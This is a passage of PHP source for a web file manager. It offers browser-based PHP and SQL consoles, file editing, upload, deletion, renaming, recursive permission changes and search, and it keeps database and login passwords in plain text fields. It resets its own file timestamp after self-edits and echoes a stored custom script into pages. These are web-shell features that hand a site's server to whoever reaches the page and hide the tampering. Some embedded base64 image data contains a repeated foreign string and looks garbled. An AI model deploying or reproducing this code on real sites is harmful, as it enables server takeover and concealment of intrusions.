.row2 {
background-color: #DEE3E7;
}
.row3 {
background-color: #D1D7DC;
padding: 5px;
}
tr.row1:hover {
background-color: #F3FCFC;
}
tr.row2:hover {
background-color: #F0F6F6;
}
.whole {
width: 100%;
}
.all tbody td:first-child{width:100%;}
textarea {
font: 9pt 'Courier New', courier;
line-height: 125%;
padding: 5px;
}
.textarea_input {
height: 1em;
}
.textarea_input:focus {
height: auto;
}
input[type=submit]{
background: #FCFCFC none !important;
cursor: pointer;
}
.folder {
background-image: url("data:image/png;base64,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");
}
.file {
background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
table{display:block;}
#fm_table td{display:inline;float:left;}
#fm_table tbody td:first-child{width:100%;padding:0;}
#fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
#fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
#fm_table tr{display:block;float:left;clear:left;width:100%;}
#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fms_config['enable_sql_console'])){
$res = empty($_POST['sql']) ? '' : $_POST['sql'];
$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fms_config['enable_php_console'])){
$res = empty($_POST['php']) ? '' : $_POST['php'];
$res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
echo '
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_myfile').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fms_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fms_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fms_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fms_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_local['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth_local['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth_local['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_local['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_local['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_local['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
if($res_lng=='sql') echo ' - Database: '.$fms_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
else echo '</h2></td><td>'.fm_run_input('sql');
?></td></tr></table></td>
</tr>
<tr>
<td class="row1">
<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
<form action="" method="POST" name="console">
<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
<input type="reset" value="<?=__('Reset')?>">
<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
$select .= '<option value="-1">' . __('Select') . "</option>\n";
foreach ($tmpl as $key=>$value){
$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
}
$select .= "</select>\n";
echo $select;
}
?>
</form>
</td>
</tr>
</table>
<?php
if (!empty($res)) {
$fun='fm_'.$res_lng;
echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
else $msg .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fms_config['restore_time'])) touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
<th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$editlink?>">
<textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
<input type="submit" name="save" value="<?=__('Submit')?>">
<input type="submit" name="cancel" value="<?=__('Cancel')?>">
</form>
</td>
</tr>
</table>
<?php
echo $auth_local['script'];
} elseif(!empty($_REQUEST['rights'])){
if(!empty($_REQUEST['save'])) {
if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
$msg .= (__('File updated'));
else $msg .= (__('Error occurred'));
}
clearstatcache();
$oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
$link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
<input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
<?php } ?>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
$msg .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} else {
//Let's rock!
$msg = '';
if(!empty($_FILES['upload'])&&!empty($fms_config['upload_myfile'])) {
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
$msg .= __('Error occurred');
} else {
$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
}
}
} elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
if(!fm_del_fileSet(($path . $_REQUEST['delete']), true)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Deleted').' '.$_REQUEST['delete'];
}
} elseif(!empty($_REQUEST['mkdir'])&&!empty($fms_config['make_directory'])) {
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Created').' '.$_REQUEST['dirname'];
}
} elseif(!empty($_POST['search_recursive'])) {
ini_set('max_execution_time', '0');
$search_data = find_text_in_fileSet($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
if(!empty($search_data)) {
$msg .= __('Found in fileSet').' ('.count($search_data).'):<br>';
foreach ($search_data as $filename) {
$msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> ';
}
} else {
$msg .= __('Nothing founded');
}
